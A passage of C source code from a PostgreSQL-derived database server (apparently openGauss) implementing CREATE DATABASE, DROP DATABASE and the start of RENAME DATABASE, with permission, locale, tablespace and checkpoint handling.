database"))); check_is_member_of_role(GetUserId(), datdba); if (userbindlc(datdba)) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("database cannot be owned by logic cluster user."))); /* * Lookup database (template) to be cloned, and obtain share lock on it. * ShareLock allows two CREATE DATABASEs to work from the same template * concurrently, while ensuring no one is busy dropping it in parallel * (which would be Very Bad since we'd likely get an incomplete copy * without knowing it). This also prevents any new connections from being * made to the source until we finish copying it, so we can be sure it * won't change underneath us. */ if (dbtemplate == NULL) { if (IsBootstrapProcessingMode() || !IsUnderPostmaster) { /* When initdb called make sure template0 and postgres can be created by template1 successfully */ dbtemplate = "template1"; } else { /* Default template database name */ dbtemplate = "template0"; } } if (!get_db_info( dbtemplate, ShareLock, &src_dboid, &src_owner, &src_encoding, &src_istemplate, &src_allowconn, &src_lastsysoid, &src_frozenxid, &src_minmxid, &src_deftablespace, &src_collate, &src_ctype, &src_compatibility)) { ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("template database \"%s\" does not exist", dbtemplate))); } /* * Permission check: to copy a DB that's not marked datistemplate, you * must be superuser or the owner thereof. */ if (!src_istemplate) { if (!pg_database_ownercheck(src_dboid, GetUserId())) ereport(ERROR, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("permission denied to copy database \"%s\"", dbtemplate))); } RbCltPurgeDatabase(src_dboid); /* If encoding or locales are defaulted, use source's setting */ if (encoding < 0) { encoding = src_encoding; } if (dbcollate == NULL) dbcollate = src_collate; if (dbctype == NULL) dbctype = src_ctype; if (dbcompatibility == NULL) dbcompatibility = src_compatibility; /* Some encodings are client only */ if (!PG_VALID_BE_ENCODING(encoding)) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("invalid server encoding %d", encoding))); /* Check that the chosen locales are valid, and get canonical spellings */ if (!check_locale(LC_COLLATE, dbcollate, &canonname)) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("invalid locale name: \"%s\"", dbcollate))); dbcollate = canonname; if (!check_locale(LC_CTYPE, dbctype, &canonname)) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("invalid locale name: \"%s\"", dbctype))); dbctype = canonname; check_encoding_locale_matches(encoding, dbcollate, dbctype); /* * Check that the new encoding and locale settings match the source * database. We insist on this because we simply copy the source data --- * any non-ASCII data would be wrongly encoded, and any indexes sorted * according to the source locale would be wrong. * * However, we assume that template0 doesn't contain any non-ASCII data * nor any indexes that depend on collation or ctype, so template0 can be * used as template for creating a database with any encoding or locale. */ if (strcmp(dbtemplate, "template0") != 0) { if (encoding != src_encoding) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("new encoding (%s) is incompatible with the encoding of the template database (%s)", pg_encoding_to_char(encoding), pg_encoding_to_char(src_encoding)), errhint("Use the same encoding as in the template database, or use template0 as template."))); if (strcmp(dbcollate, src_collate) != 0) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("new collation (%s) is incompatible with the collation of the template database (%s)", dbcollate, src_collate), errhint("Use the same collation as in the template database, or use template0 as template."))); if (strcmp(dbctype, src_ctype) != 0) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("new LC_CTYPE (%s) is incompatible with the LC_CTYPE of the template database (%s)", dbctype, src_ctype), errhint("Use the same LC_CTYPE as in the template database, or use template0 as template."))); } /* Resolve default tablespace for new database */ if (dtablespacename != NULL && dtablespacename->arg != NULL) { char* tablespacename = NULL; AclResult aclresult; tablespacename = strVal(dtablespacename->arg); dst_deftablespace = get_tablespace_oid(tablespacename, false); /* check permissions */ aclresult = pg_tablespace_aclcheck(dst_deftablespace, GetUserId(), ACL_CREATE); if (aclresult != ACLCHECK_OK) aclcheck_error(aclresult, ACL_KIND_TABLESPACE, tablespacename); /* pg_global must never be the default tablespace */ if (dst_deftablespace == GLOBALTABLESPACE_OID) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("pg_global cannot be used as default tablespace"))); if (IsSpecifiedTblspc(dst_deftablespace, FILESYSTEM_HDFS)) { ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("DFS tablespace can not be used as default tablespace."))); } /* * If we are trying to change the default tablespace of the template, * we require that the template not have any files in the new default * tablespace. This is necessary because otherwise the copied * database would contain pg_class rows that refer to its default * tablespace both explicitly (by OID) and implicitly (as zero), which * would cause problems. For example another CREATE DATABASE using * the copied database as template, and trying to change its default * tablespace again, would yield outright incorrect results (it would * improperly move tables to the new default tablespace that should * stay in the same tablespace). */ if (dst_deftablespace != src_deftablespace) { char* srcpath = NULL; struct stat st; srcpath = GetDatabasePath(src_dboid, dst_deftablespace); if (stat(srcpath, &st) == 0 && S_ISDIR(st.st_mode) && !directory_is_empty(srcpath)) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("cannot assign new default tablespace \"%s\"", tablespacename), errdetail( "There is a conflict because database \"%s\" already has some tables in this tablespace.", dbtemplate))); pfree_ext(srcpath); } } else { /* Use template database's default tablespace */ dst_deftablespace = src_deftablespace; /* Note there is no additional permission check in this path */ } /* * Check for db name conflict. This is just to give a more friendly error * message than "unique index violation". There's a race condition but * we're willing to accept the less friendly message in that case. */ if (OidIsValid(get_database_oid(dbname, true))) ereport(ERROR, (errcode(ERRCODE_DUPLICATE_DATABASE), errmsg("database \"%s\" already exists", dbname))); /* * The source DB can't have any active backends, except this one * (exception is to allow CREATE DB while connected to template1). * Otherwise we might copy inconsistent data. * * This should be last among the basic error checks, because it involves * potential waiting; we may as well throw an error first if we're gonna * throw one. */ LockDatabaseObject(DatabaseRelationId, src_dboid, 0, AccessExclusiveLock); if (CountOtherDBBackends(src_dboid, &notherbackends, &npreparedxacts)) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("source database \"%s\" is being accessed by other users", dbtemplate), errdetail_busy_db(notherbackends, npreparedxacts))); /* * Select an OID for the new database, checking that it doesn't have a * filename conflict with anything already existing in the tablespace * directories. */ pg_database_rel = heap_open(DatabaseRelationId, RowExclusiveLock); do { dboid = GetNewOid(pg_database_rel); } while (check_db_file_conflict(dboid)); /* * Insert a new tuple into pg_database. This establishes our ownership of * the new database name (anyone else trying to insert the same name will * block on the unique index, and fail after we commit). */ /* Form tuple */ errno_t rc = memset_s(new_record, sizeof(new_record), 0, sizeof(new_record)); securec_check(rc, "", ""); rc = memset_s(new_record_nulls, sizeof(new_record_nulls), 0, sizeof(new_record_nulls)); securec_check(rc, "", ""); new_record[Anum_pg_database_datname - 1] = DirectFunctionCall1(namein, CStringGetDatum(dbname)); new_record[Anum_pg_database_datdba - 1] = ObjectIdGetDatum(datdba); new_record[Anum_pg_database_encoding - 1] = Int32GetDatum(encoding); new_record[Anum_pg_database_datcollate - 1] = DirectFunctionCall1(namein, CStringGetDatum(dbcollate)); new_record[Anum_pg_database_datctype - 1] = DirectFunctionCall1(namein, CStringGetDatum(dbctype)); new_record[Anum_pg_database_datistemplate - 1] = BoolGetDatum(false); new_record[Anum_pg_database_datallowconn - 1] = BoolGetDatum(true); new_record[Anum_pg_database_datconnlimit - 1] = Int32GetDatum(dbconnlimit); new_record[Anum_pg_database_datlastsysoid - 1] = ObjectIdGetDatum(src_lastsysoid); new_record[Anum_pg_database_datfrozenxid - 1] = ShortTransactionIdGetDatum(src_frozenxid); new_record[Anum_pg_database_dattablespace - 1] = ObjectIdGetDatum(dst_deftablespace); new_record[Anum_pg_database_compatibility - 1] = DirectFunctionCall1(namein, CStringGetDatum(dbcompatibility)); /* * We deliberately set datacl to default (NULL), rather than copying it * from the template database. Copying it would be a bad idea when the * owner is not the same as the template's owner. */ new_record_nulls[Anum_pg_database_datacl - 1] = true; new_record[Anum_pg_database_datfrozenxid64 - 1] = TransactionIdGetDatum(src_frozenxid); #ifndef ENABLE_MULTIPLE_NODES new_record[Anum_pg_database_datminmxid - 1] = TransactionIdGetDatum(src_minmxid); #endif tuple = heap_form_tuple(RelationGetDescr(pg_database_rel), new_record, new_record_nulls); HeapTupleSetOid(tuple, dboid); (void)simple_heap_insert(pg_database_rel, tuple); /* Update indexes */ CatalogUpdateIndexes(pg_database_rel, tuple); /* * Now generate additional catalog entries associated with the new DB */ /* Register owner dependency */ recordDependencyOnOwner(DatabaseRelationId, dboid, datdba); /* Create pg_shdepend entries for objects within database */ copyTemplateDependencies(src_dboid, dboid); /* Post creation hook for new database */ InvokeObjectAccessHook(OAT_POST_CREATE, DatabaseRelationId, dboid, 0, NULL); /* * Force a checkpoint before starting the copy. This will force dirty * buffers out to disk, to ensure source database is up-to-date on disk * for the copy. FlushDatabaseBuffers() would suffice for that, but we * also want to process any pending unlink requests. Otherwise, if a * checkpoint happened while we're copying files, a file might be deleted * just when we're about to copy it, causing the lstat() call in copydir() * to fail with ENOENT. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Take an MVCC snapshot to use while scanning through pg_tablespace. For * safety, register the snapshot (this prevents it from changing if * something else were to request a snapshot during the loop). * * Traversing pg_tablespace with an MVCC snapshot is necessary to provide * us with a consistent view of the tablespaces that exist. Using * SnapshotNow here would risk seeing the same tablespace multiple times, * or worse not seeing a tablespace at all, if its tuple is moved around * by a concurrent update (eg an ACL change). * * Inconsistency of this sort is inherent to all SnapshotNow scans, unless * some lock is held to prevent concurrent updates of the rows being * sought. There should be a generic fix for that, but in the meantime * it's worth fixing this case in particular because we are doing very * heavyweight operations within the scan, so that the elapsed time for * the scan is vastly longer than for most other catalog scans. That * means there's a much wider window for concurrent updates to cause * trouble here than anywhere else. XXX this code should be changed * whenever a generic fix is implemented. */ snapshot = RegisterSnapshot(GetLatestSnapshot()); /* * Once we start copying subdirectories, we need to be able to clean 'em * up if we fail. Use an ENSURE block to make sure this happens. (This * is not a 100% solution, because of the possibility of failure during * transaction commit after we leave this routine, but it should handle * most scenarios.) */ fparms.src_dboid = src_dboid; fparms.dest_dboid = dboid; PG_ENSURE_ERROR_CLEANUP(createdb_failure_callback, PointerGetDatum(&fparms)); { /* * Iterate through all tablespaces of the template database, and copy * each one to the new database. */ rel = heap_open(TableSpaceRelationId, AccessShareLock); scan = tableam_scan_begin(rel, snapshot, 0, NULL); while ((tuple = (HeapTuple) tableam_scan_getnexttuple(scan, ForwardScanDirection)) != NULL) { Oid srctablespace = HeapTupleGetOid(tuple); Oid dsttablespace; char* srcpath = NULL; char* dstpath = NULL; struct stat st; /* No need to copy global tablespace */ if (srctablespace == GLOBALTABLESPACE_OID) continue; srcpath = GetDatabasePath(src_dboid, srctablespace); if (stat(srcpath, &st) < 0 || !S_ISDIR(st.st_mode) || directory_is_empty(srcpath)) { /* Assume we can ignore it */ pfree_ext(srcpath); continue; } if (srctablespace == src_deftablespace) dsttablespace = dst_deftablespace; else dsttablespace = srctablespace; dstpath = GetDatabasePath(dboid, dsttablespace); /* * Copy this subdirectory to the new location * * We don't need to copy subdirectories */ (void)copydir(srcpath, dstpath, false, ERROR); /* Record the filesystem change in XLOG */ { xl_dbase_create_rec xlrec; xlrec.db_id = dboid; xlrec.tablespace_id = dsttablespace; xlrec.src_db_id = src_dboid; xlrec.src_tablespace_id = srctablespace; XLogBeginInsert(); XLogRegisterData((char*)&xlrec, sizeof(xl_dbase_create_rec)); (void)XLogInsert(RM_DBASE_ID, XLOG_DBASE_CREATE | XLR_SPECIAL_REL_UPDATE); } } tableam_scan_end(scan); heap_close(rel, AccessShareLock); /* * We force a checkpoint before committing. This effectively means * that committed XLOG_DBASE_CREATE operations will never need to be * replayed (at least not in ordinary crash recovery; we still have to * make the XLOG entry for the benefit of PITR operations). This * avoids two nasty scenarios: * * #1: When PITR is off, we don't XLOG the contents of newly created * indexes; therefore the drop-and-recreate-whole-directory behavior * of DBASE_CREATE replay would lose such indexes. * * #2: Since we have to recopy the source database during DBASE_CREATE * replay, we run the risk of copying changes in it that were * committed after the original CREATE DATABASE command but before the * system crash that led to the replay. This is at least unexpected * and at worst could lead to inconsistencies, eg duplicate table * names. * * (Both of these were real bugs in releases 8.0 through 8.0.3.) * * In PITR replay, the first of these isn't an issue, and the second * is only a risk if the CREATE DATABASE and subsequent template * database change both occur while a base backup is being taken. * There doesn't seem to be much we can do about that except document * it as a limitation. * * Perhaps if we ever implement CREATE DATABASE in a less cheesy way, * we can avoid this. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Wait for last checkpoint sync to standby and then flush the latest lsn to disk; */ WaitCheckpointSync(); CheckPointReplicationSlots(); /* * Close pg_database, but keep lock till commit. */ heap_close(pg_database_rel, NoLock); /* * Force synchronous commit, thus minimizing the window between * creation of the database files and commital of the transaction. If * we crash before committing, we'll have a DB that's taking up disk * space but is not in pg_database, which is not good. */ ForceSyncCommit(); } PG_END_ENSURE_ERROR_CLEANUP(createdb_failure_callback, PointerGetDatum(&fparms)); /* Free our snapshot */ UnregisterSnapshot(snapshot); #ifdef PGXC /* * Even if we are successful, ultimately this transaction can be aborted * because some other node failed. So arrange for cleanup on transaction * abort. * Unregistering snapshot above, will not have any problem when the * callback function is executed because the callback register's its * own snapshot in function remove_dbtablespaces */ set_dbcleanup_callback(createdb_xact_callback, &fparms.dest_dboid, sizeof(fparms.dest_dboid)); #endif } /* * Check whether chosen encoding matches chosen locale settings. This * restriction is necessary because libc's locale-specific code usually * fails when presented with data in an encoding it's not expecting. We * allow mismatch in four cases: * * 1. locale encoding = SQL_ASCII, which means that the locale is C/POSIX * which works with any encoding. * * 2. locale encoding = -1, which means that we couldn't determine the * locale's encoding and have to trust the user to get it right. * * 3. selected encoding is UTF8 and platform is win32. This is because * UTF8 is a pseudo codepage that is supported in all locales since it's * converted to UTF16 before being used. * * 4. selected encoding is SQL_ASCII, but only if you're a superuser. This * is risky but we have historically allowed it --- notably, the * regression tests require it. * * Note: if you change this policy, fix initdb to match. */ void check_encoding_locale_matches(int encoding, const char* collate, const char* ctype) { int ctype_encoding; int collate_encoding; AutoMutexLock localeLock(&gLocaleMutex); localeLock.lock(); ctype_encoding = pg_get_encoding_from_locale(ctype, true); collate_encoding = pg_get_encoding_from_locale(collate, true); localeLock.unLock(); if (!(ctype_encoding == encoding || ctype_encoding == PG_SQL_ASCII || ctype_encoding == -1 || #ifdef WIN32 encoding == PG_UTF8 || #endif (encoding == PG_SQL_ASCII && superuser()))) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("encoding \"%s\" does not match locale \"%s\"", pg_encoding_to_char(encoding), ctype), errdetail( "The chosen LC_CTYPE setting requires encoding \"%s\".", pg_encoding_to_char(ctype_encoding)))); if (!(collate_encoding == encoding || collate_encoding == PG_SQL_ASCII || collate_encoding == -1 || #ifdef WIN32 encoding == PG_UTF8 || #endif (encoding == PG_SQL_ASCII && superuser()))) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("encoding \"%s\" does not match locale \"%s\"", pg_encoding_to_char(encoding), collate), errdetail( "The chosen LC_COLLATE setting requires encoding \"%s\".", pg_encoding_to_char(collate_encoding)))); } #ifdef PGXC /* * Error cleanup callback for createdb. Aftec createdb() succeeds, the * transaction can still be aborted due to other nodes. So on abort-transaction, * this function is called to do the cleanup. This involves removing directories * created after successful completion. * Nothing to be done on commit. */ static void createdb_xact_callback(bool isCommit, const void* arg) { if (isCommit) return; /* Throw away any successfully copied subdirectories */ remove_dbtablespaces(*(Oid*)arg); } #endif /* Error cleanup callback for createdb */ static void createdb_failure_callback(int code, Datum arg) { createdb_failure_params* fparms = (createdb_failure_params*)DatumGetPointer(arg); /* * Release lock on source database before doing recursive remove. This is * not essential but it seems desirable to release the lock as soon as * possible. */ UnlockSharedObject(DatabaseRelationId, fparms->src_dboid, 0, ShareLock); /* Throw away any successfully copied subdirectories */ remove_dbtablespaces(fparms->dest_dboid); } void ts_dropdb_xact_callback(bool isCommit, const void* arg) { Oid* db_oid = (Oid*)arg; if (!isCommit) { *db_oid = InvalidOid; } (void)pg_atomic_sub_fetch_u32(&g_instance.ts_compaction_cxt.drop_db_count, 1); ereport(LOG, (errmodule(MOD_TIMESERIES), errcode(ERRCODE_LOG), errmsg("drop db callback have drop db session count after subtract %u", pg_atomic_read_u32(&g_instance.ts_compaction_cxt.drop_db_count)))); } #ifdef ENABLE_MULTIPLE_NODES void handle_compaction_dropdb(const char* dbname) { /** * if timeseries db and compaction working, send sigusr1 to compaction producer * signal will block producer switch session. */ if (!IS_PGXC_DATANODE) { return; } if (g_instance.attr.attr_common.enable_tsdb && u_sess->attr.attr_common.enable_ts_compaction) { Oid drop_databse_oid = get_database_oid(dbname, false); (void)pg_atomic_add_fetch_u32(&g_instance.ts_compaction_cxt.drop_db_count, 1); g_instance.ts_compaction_cxt.dropdb_id = drop_databse_oid; ereport(LOG, (errmodule(MOD_TIMESERIES), errcode(ERRCODE_LOG), errmsg("drop db callback have drop db session count after add %u", pg_atomic_read_u32(&g_instance.ts_compaction_cxt.drop_db_count)))); while (!g_instance.ts_compaction_cxt.compaction_rest && g_instance.ts_compaction_cxt.state == Compaction::COMPACTION_IN_PROGRESS) { pg_usleep(100 * USECS_PER_MSEC); } set_dbcleanup_callback(ts_dropdb_xact_callback, &g_instance.ts_compaction_cxt.dropdb_id, sizeof(g_instance.ts_compaction_cxt.dropdb_id)); } } #endif typedef struct { int nPendingDeletes; Oid dbOid; Oid pendingDeletes[1]; } DropDbArg; static void InsertDropDbInfo(Oid dbOid, DropDbArg** dropDbInfo, const List *pendingDeletesList) { int nPendingDeletes = list_length(pendingDeletesList); *dropDbInfo = (DropDbArg*)palloc(offsetof(DropDbArg, pendingDeletes) + nPendingDeletes * sizeof(Oid)); (*dropDbInfo)->nPendingDeletes = nPendingDeletes; (*dropDbInfo)->dbOid = dbOid; ListCell *lc = NULL; int index = 0; foreach(lc, pendingDeletesList) { Oid dsttablespace = lfirst_oid(lc); (*dropDbInfo)->pendingDeletes[index++] = dsttablespace; } } static void InitDropDbInfo(Oid dbOid, DropDbArg** dropDbInfo) { Relation rel; TableScanDesc scan; HeapTuple tuple; Snapshot snapshot; List *pendingDeletesList = NULL; /* * As in createdb(), we'd better use an MVCC snapshot here, since this * scan can run for a long time. Duplicate visits to tablespaces would be * harmless, but missing a tablespace could result in permanently leaked * files. * * XXX change this when a generic fix for SnapshotNow races is implemented */ snapshot = RegisterSnapshot(GetLatestSnapshot()); rel = heap_open(TableSpaceRelationId, AccessShareLock); scan = tableam_scan_begin(rel, snapshot, 0, NULL); while ((tuple = (HeapTuple) tableam_scan_getnexttuple(scan, ForwardScanDirection)) != NULL) { Oid dsttablespace = HeapTupleGetOid(tuple); char* dstpath = NULL; struct stat st; /* Don't mess with the global tablespace */ if (dsttablespace == GLOBALTABLESPACE_OID) continue; dstpath = GetDatabasePath(dbOid, dsttablespace); if (lstat(dstpath, &st) < 0 || !S_ISDIR(st.st_mode)) { /* Assume we can ignore it */ pfree_ext(dstpath); continue; } /* add vaild path oid */ pendingDeletesList = lappend_oid(pendingDeletesList, dsttablespace); pfree_ext(dstpath); } tableam_scan_end(scan); heap_close(rel, AccessShareLock); UnregisterSnapshot(snapshot); InsertDropDbInfo(dbOid, dropDbInfo, pendingDeletesList); list_free(pendingDeletesList); } /* * Use record tablespace oid list instead of using snapshot scan, * because we cannot see the information of target db after dropping * database success. */ static void DropdbXactCallback(bool isCommit, const void* arg) { if (!isCommit) { return; } DropDbArg *dropDbInfo = (DropDbArg *)arg; Oid dbOid = dropDbInfo->dbOid; int len = dropDbInfo->nPendingDeletes; int index; for (index = 0; index < len; index++) { Oid dsttablespace = dropDbInfo->pendingDeletes[index]; char* dstpath = NULL; struct stat st; /* Don't mess with the global tablespace */ if (dsttablespace == GLOBALTABLESPACE_OID) continue; dstpath = GetDatabasePath(dbOid, dsttablespace); if (lstat(dstpath, &st) < 0 || !S_ISDIR(st.st_mode)) { /* Assume we can ignore it */ pfree_ext(dstpath); continue; } if (!rmtree(dstpath, true)) ereport( WARNING, (errmsg("some useless files may be left behind in old database directory \"%s\"", dstpath))); /* Record the filesystem change in XLOG */ { xl_dbase_drop_rec xlrec; xlrec.db_id = dbOid; xlrec.tablespace_id = dsttablespace; XLogBeginInsert(); XLogRegisterData((char*)&xlrec, sizeof(xl_dbase_drop_rec)); (void)XLogInsert(RM_DBASE_ID, XLOG_DBASE_DROP | XLR_SPECIAL_REL_UPDATE); } pfree_ext(dstpath); } } /* * DROP DATABASE */ void dropdb(const char* dbname, bool missing_ok) { Oid db_id; bool db_istemplate = false; Relation pgdbrel; HeapTuple tup; int notherbackends; int npreparedxacts; int nsubscriptions; /* If we will return before reaching function end, please release this lock */ LWLockAcquire(DelayDDLLock, LW_SHARED); if (!XLogRecPtrIsInvalid(GetDDLDelayStartPtr())) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("could not drop database " "while ddl delay function is enabled"))); #ifdef ENABLE_MULTIPLE_NODES handle_compaction_dropdb(dbname); #endif /* * Look up the target database's OID, and get exclusive lock on it. We * need this to ensure that no new backend starts up in the target * database while we are deleting it (see postinit.c), and that no one is * using it as a CREATE DATABASE template or trying to delete it for * themselves. */ pgdbrel = heap_open(DatabaseRelationId, RowExclusiveLock); if (!get_db_info( dbname, AccessExclusiveLock, &db_id, NULL, NULL, &db_istemplate, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) { if (!missing_ok) { ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", dbname))); } else { /* Close pg_database, release the lock, since we changed nothing */ heap_close(pgdbrel, RowExclusiveLock); ereport(NOTICE, (errmsg("database \"%s\" does not exist, skipping", dbname))); LWLockRelease(DelayDDLLock); return; } } gs_lock_test_and_set_64(&g_instance.stat_cxt.NodeStatResetTime, GetCurrentTimestamp()); /* * Permission checks */ AclResult aclresult = pg_database_aclcheck(db_id, GetUserId(), ACL_DROP); if (aclresult != ACLCHECK_OK && !pg_database_ownercheck(db_id, GetUserId())) { aclcheck_error(ACLCHECK_NO_PRIV, ACL_KIND_DATABASE, dbname); } RbCltPurgeDatabase(db_id); /* DROP hook for the database being removed */ if (object_access_hook) { ObjectAccessDrop drop_arg; errno_t rc = memset_s(&drop_arg, sizeof(ObjectAccessDrop), 0, sizeof(ObjectAccessDrop)); securec_check(rc, "\0", "\0"); InvokeObjectAccessHook(OAT_DROP, DatabaseRelationId, db_id, 0, &drop_arg); } /* * Disallow dropping a DB that is marked istemplate. This is just to * prevent people from accidentally dropping template0 or template1; they * can do so if they're really determined ... */ if (db_istemplate) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("cannot drop a template database"))); /* Obviously can't drop my own database */ if (db_id == u_sess->proc_cxt.MyDatabaseId) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("cannot drop the currently open database"))); if (0 == strcmp(dbname, DEFAULT_DATABASE)) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("cannot drop the default database"))); /* * Check for other backends in the target database. (Because we hold the * database lock, no new ones can start after this.) * * As in CREATE DATABASE, check this after other error conditions. */ if (CountOtherDBBackends(db_id, &notherbackends, &npreparedxacts)) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("Database \"%s\" is being accessed by other users. You can stop all connections by command:" " \"clean connection to all force for database XXXX;\" or wait for the sessions to end by querying " "view: \"pg_stat_activity\".", dbname), errdetail_busy_db(notherbackends, npreparedxacts))); /* * Check if there are subscriptions defined in the target database. * * We can't drop them automatically because they might be holding * resources in other databases/instances. */ if ((nsubscriptions = CountDBSubscriptions(db_id)) > 0) { ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("database \"%s\" is being used by logical replication subscription", dbname), errdetail_plural("There is %d subscription.", "There are %d subscriptions.", nsubscriptions, nsubscriptions))); } /* Search need delete use-defined C fun library. */ prepareDatabaseCFunLibrary(db_id); /* Relate to remove all job belong the database. */ remove_job_by_oid(dbname, DbOid, true); /* Search need delete use-defined dictionary. */ deleteDatabaseTSFile(db_id); /* * Remove the database's tuple from pg_database. */ tup = SearchSysCache1(DATABASEOID, ObjectIdGetDatum(db_id)); if (!HeapTupleIsValid(tup)) ereport(ERROR, (errcode(ERRCODE_CACHE_LOOKUP_FAILED), errmsg("cache lookup failed for database %u", db_id))); simple_heap_delete(pgdbrel, &tup->t_self); ReleaseSysCache(tup); /* * Delete any comments or security labels associated with the database. */ DeleteSharedComments(db_id, DatabaseRelationId); DeleteSharedSecurityLabel(db_id, DatabaseRelationId); /* * Remove settings associated with this database */ DropSetting(db_id, InvalidOid); /* * Remove shared dependency references for the database. */ dropDatabaseDependencies(db_id); /* * Request an immediate checkpoint to flush all the dirty pages in share buffer * before we drop the related buffer pages under the database to keep consistent * with the principle of checkpoint. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Drop pages for this database that are in the shared buffer cache. This * is important to ensure that no remaining backend tries to write out a * dirty buffer to the dead database later... */ DropDatabaseBuffers(db_id); /* * Tell the stats collector to forget it immediately, too. */ pgstat_drop_database(db_id); /* * Tell checkpointer to forget any pending fsync and unlink requests for * files in the database; else the fsyncs will fail at next checkpoint, or * worse, it will delete files that belong to a newly created database * with the same OID. */ ForgetDatabaseSyncRequests(db_id); /* * Force a checkpoint to make sure the checkpointer has received the * message sent by ForgetDatabaseSyncRequests. On Windows, this also * ensures that background procs don't hold any open files, which would * cause rmdir() to fail. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Register all pending delete tablespace belonging to the database. * Callback function do real work after commit transaction. */ DropDbArg *dropDbInfo = NULL; InitDropDbInfo(db_id, &dropDbInfo); int dropDbInfoLen = offsetof(DropDbArg, pendingDeletes) + dropDbInfo->nPendingDeletes * sizeof(Oid); set_dbcleanup_callback(DropdbXactCallback, dropDbInfo, dropDbInfoLen); pfree_ext(dropDbInfo); /* * Close pg_database, but keep lock till commit. */ heap_close(pgdbrel, NoLock); /* * Force synchronous commit, thus minimizing the window between removal of * the database files and commital of the transaction. If we crash before * committing, we'll have a DB that's gone on disk but still there * according to pg_database, which is not good. */ ForceSyncCommit(); #ifdef PGXC /* Drop sequences on gtm that are on the database dropped. */ if (IS_PGXC_COORDINATOR && !IsConnFromCoord()) if (DropSequenceGTM(0, dbname)) ereport(LOG, (errcode(ERRCODE_SQL_STATEMENT_NOT_YET_COMPLETE), errmsg("Deletion of sequences on database %s not completed", dbname))); #endif LWLockRelease(DelayDDLLock); ereport(LOG,(errmsg("drop database \"%s\", id is %u", dbname, db_id))); /* need calculate user used space info */ g_instance.comm_cxt.force_cal_space_info = true; /* Drop local connection for dbname */ if(IS_PGXC_COORDINATOR) { DropDBCleanConnection(dbname); } } /* * Must be owner or have alter privilege to alter database */ static void AlterDatabasePermissionCheck(Oid dboid, const char* dbname) { AclResult aclresult = pg_database_aclcheck(dboid, GetUserId(), ACL_ALTER); if (aclresult != ACLCHECK_OK && !pg_database_ownercheck(dboid, GetUserId())) { aclcheck_error(ACLCHECK_NO_PRIV, ACL_KIND_DATABASE, dbname); } } /* * Rename database */ void RenameDatabase(const char* oldname, const char* newname) { Oid db_id; HeapTuple newtup; Relation rel; int notherbackends; int npreparedxacts; List* existTblSpcList = NIL; Relation pg_job_tbl = NULL; TableScanDesc scan = NULL; HeapTuple tuple = NULL; /* * Look up the target database's OID, and get exclusive lock on it. We * need this for the same reasons as DROP DATABASE. */ rel = heap_open(DatabaseRelationId, RowExclusiveLock); if (!get_db_info(oldname, AccessExclusiveLock, &db_id, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", oldname))); /* Permission check. */ AlterDatabasePermissionCheck(db_id, oldname); /* must have createdb rights */ if (!have_createdb_privilege()) ereport(ERROR, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("permission denied to rename database"))); /* * Make sure the new name doesn't exist. See notes for same error in * CREATE DATABASE. */ if (OidIsValid(get_database_oid(newname, true))) ereport(ERROR, (errcode(ERRCODE_DUPLICATE_DATABASE), errmsg("database \"%s\" already exists", newname))); /* * XXX Client applications probably store the current database somewhere, * so renaming it could cause confusion. On the other hand, there may not * be an actual problem besides a little confusion, so think about this * and decide. */ if (db_id == u_sess->proc_cxt.MyDatabaseId) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("current database cannot be renamed"))); /* * Make sure the database does not have active sessions. This is the same * concern as above, but applied to other sessions. * * As in CREATE DATABASE, check this after other error conditions. */ if (CountOtherDBBackends(db_id, &notherbackends, &npreparedxacts)) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("database \"%s\" is being accessed by other users", oldname), errdetail_busy_db(notherbackends, npreparedxacts))); existTblSpcList = HDFSTablespaceDirExistDatabase(db_id); if (existTblSpcList != NIL) { StringInfo existTblspc = (StringInfo)linitial(existTblSpcList); ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("It is unsupported to rename database \"%s\" on DFS tablespace \"%s\".", oldname, existTblspc->data))); } /* rename */ newtup = SearchSysCacheCopy1(DATABASEOID, ObjectIdGetDatum(db_id)); if (!HeapTupleIsValid(newtup)) ereport(ERROR, (errcode(ERRCODE_CACHE_LOOKUP_FAILED), errmsg("cache lookup failed 